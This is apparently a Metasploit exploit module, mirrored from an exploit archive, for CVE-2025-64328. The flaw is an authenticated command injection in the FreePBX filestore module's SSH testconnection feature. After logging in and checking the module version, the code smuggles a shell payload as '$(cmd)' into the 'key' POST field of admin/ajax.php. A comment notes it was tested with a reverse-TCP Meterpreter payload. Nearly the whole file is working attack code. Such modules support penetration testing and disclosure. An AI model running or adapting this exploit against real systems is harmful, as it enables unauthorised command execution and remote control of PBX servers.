## https://sploitus.com/exploit?id=PACKETSTORM:217182
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::FreePBX
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX filestore authenticated command injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the
FreePBX filestore module. The filestore module allows administrators to configure remote file
storage backends (SSH, FTP, etc.) for backup and file management purposes.
The vulnerability exists in the SSH driver's testconnection functionality, specifically in the
check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.
The function accepts user-controlled input for the SSH key path parameter, which is then passed
unsanitized to exec() calls when generating SSH keys.
The vulnerable code executes commands such as:
exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");
By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an
authenticated user can execute arbitrary commands on the underlying system with the privileges of
the web server process (typically the asterisk user).
This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in
17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that
has access to the filestore module. The user must be in the "Filestore" group (administrator or
low-privilege user).
Note: Due to the vulnerable code structure, the injected command may be executed multiple times,
potentially resulting in multiple Meterpreter sessions.
},
'License' => MSF_LICENSE,
'Author' => [
'Cory Billington', # Vulnerability discovery
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'References' => [
['CVE', '2025-64328'],
['GHSA', 'vm9p-46mv-5xvw', 'FreePBX/security-reporting'],
['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/']
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-11-08',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [false, 'The URI for the FreePBX installation', '/']),
OptString.new('USERNAME', [true, 'FreePBX username (must be in the "Filestore" group)', 'admin']),
OptString.new('PASSWORD', [true, 'FreePBX admin password', ''])
]
)
end
class AuthenticationError < StandardError; end
class ConnectionError < StandardError; end
def check
data = freepbx_get_login_page_data
unless data[:detected]
vprint_status('Target does not appear to be FreePBX')
return CheckCode::Safe('Not FreePBX')
end
begin
cookie = authenticate
rescue AuthenticationError
return CheckCode::Detected('Invalid credentials')
rescue ConnectionError
return CheckCode::Safe('Not FreePBX')
end
version = get_filestore_version_cached(cookie)
return CheckCode::Detected('Filestore module version could not be determined') unless version
version_obj = Rex::Version.new(version)
return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')
CheckCode::Appears("Filestore module vulnerable (version #{version})")
end
def exploit
cookie = authenticate
get_filestore_version_cached(cookie)
execute_command(payload.encoded, cookie)
rescue AuthenticationError
fail_with(Failure::NoAccess, 'Invalid credentials')
rescue ConnectionError
fail_with(Failure::Unknown, 'Connection error')
end
def authenticate
data = freepbx_get_login_page_data
raise ConnectionError, 'Target does not appear to be FreePBX' unless data[:detected]
cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
raise AuthenticationError, 'Invalid credentials' if cookie == :auth_failed
raise ConnectionError, 'Connection error' if cookie.nil?
cookie
end
def get_filestore_version_cached(cookie)
return @filestore_version if @filestore_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
'cookie' => cookie,
'headers' => { 'Referer' => freepbx_referer },
'vars_get' => {
'display' => 'filestore'
}
)
return nil unless res&.code == 200
match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
return nil unless match
version = match[1]
vprint_status("Filestore module version: #{version}")
@filestore_version = version
version
end
def execute_command(cmd, cookie)
fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'cookie' => cookie,
'headers' => {
'Referer' => freepbx_referer
},
'vars_get' => {
'module' => 'filestore',
'command' => 'testconnection',
'driver' => 'SSH'
},
'vars_post' => {
'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
'port' => rand(1024..65535).to_s,
'user' => Rex::Text.rand_text_alphanumeric(8),
'key' => "$(#{cmd})",
'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
}
)
end
end